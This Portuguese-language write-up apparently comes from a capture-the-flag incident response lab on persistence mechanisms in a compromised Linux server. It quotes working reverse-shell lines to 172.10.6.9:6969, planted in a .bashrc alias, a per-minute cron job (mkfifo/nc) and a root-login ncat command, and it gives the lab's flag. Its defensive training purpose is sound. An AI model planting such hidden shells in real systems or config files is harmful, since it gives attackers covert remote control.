Investigação de Persistência: Relatório de Atividade

Nesta atividade, assumi o papel de um analista de Resposta a Incidentes para limpar um servidor Linux comprometido. O objetivo foi identificar **cinco mecanismos de persistência** diferentes, documentar as descobertas e preparar o terreno para a erradicação.

Etapa 1: Reconhecimento e Coleta Inicial

O foco aqui foi entender o terreno e identificar arquivos fora do comum no diretório do usuário Giorgio.

1. Qual o arquivo mais interessante que você encontrou no diretório home do Giorgio e o que havia de estranho no `.bashrc`?
Resposta: ls='(bash -i >& /dev/tcp/172.10.6.9/6969 0>&1 & disown) 2>/dev/null; ls --color=auto'

```
ote=01'

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
alias ls='(bash -i >& /dev/tcp/172.10.6.9/6969 0>&1 & disown) 2>/dev/null; ls --
color=auto'

# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo
 error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'
')"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi
```

Etapa 2: Tarefas Agendadas e Automação Maliciosa

2. Descreva a persistência encontrada nas tarefas agendadas (Crontab). Como o invasor estava mantendo o acesso?

Resposta: /usr/bin/rm /tmp/f;/usr/bin/mkfifo /tmp/f;/usr/bin/cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc 172.10.6.9 6969 >/tmp/f

```
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h  dom mon dow   command
* * * * * /usr/bin/rm /tmp/f;/usr/bin/mkfifo /tmp/f;/usr/bin/cat /tmp/f|/bin/sh
-i 2>&1|/usr/bin/nc 172.10.6.9 6969 >/tmp/f
```

Etapa 3: Comprometimento da Conta Root

3. Ao logar como root, qual comando suspeito foi exibido na mensagem de erro e como ele foi implementado no sistema?

Resposta: ncat -e /bin/bash 172.10.6.9 6969

```
giorgio@ip-10-65-132-142:~$ sudo su
[sudo] password for giorgio:
root@ip-10-65-132-142:/home/giorgio# Ncat: TIMEOUT.
^C
[1]+  Exit 1                  ncat -e /bin/bash 172.10.6.9 6969
root@ip-10-65-132-142:/home/giorgio#
```

Etapa 4: Investigação Profunda do Sistema

A busca pelo último mecanismo, aquele que se disfarça de processo "normal" do Linux.

4. Qual foi o último mecanismo de persistência encontrado (aquele ligado a algo nativo do SO) e qual "pepita" (dica) o adversário deixou para trás?

Resposta:

```
root@ip-10-65-132-142:/nonexistent# ls -la
total 24
drwxr-xr-x  3 nobody root 4096 Apr 13  2022 .
drwxr-xr-x 20 root   root 4096 Mar 30 21:05 ..
-rw-------  1 nobody root  127 Apr 13  2022 .bash_history
drwx------  2 nobody root 4096 Apr 13  2022 .cache
-rw-------  1 nobody root  747 Apr 13  2022 .viminfo
-rw-r--r--  1 nobody root   20 Apr 13  2022 .youfoundme
root@ip-10-65-132-142:/nonexistent# cat .youfoundme
THM{Nob0dy_1s_s@f3}
```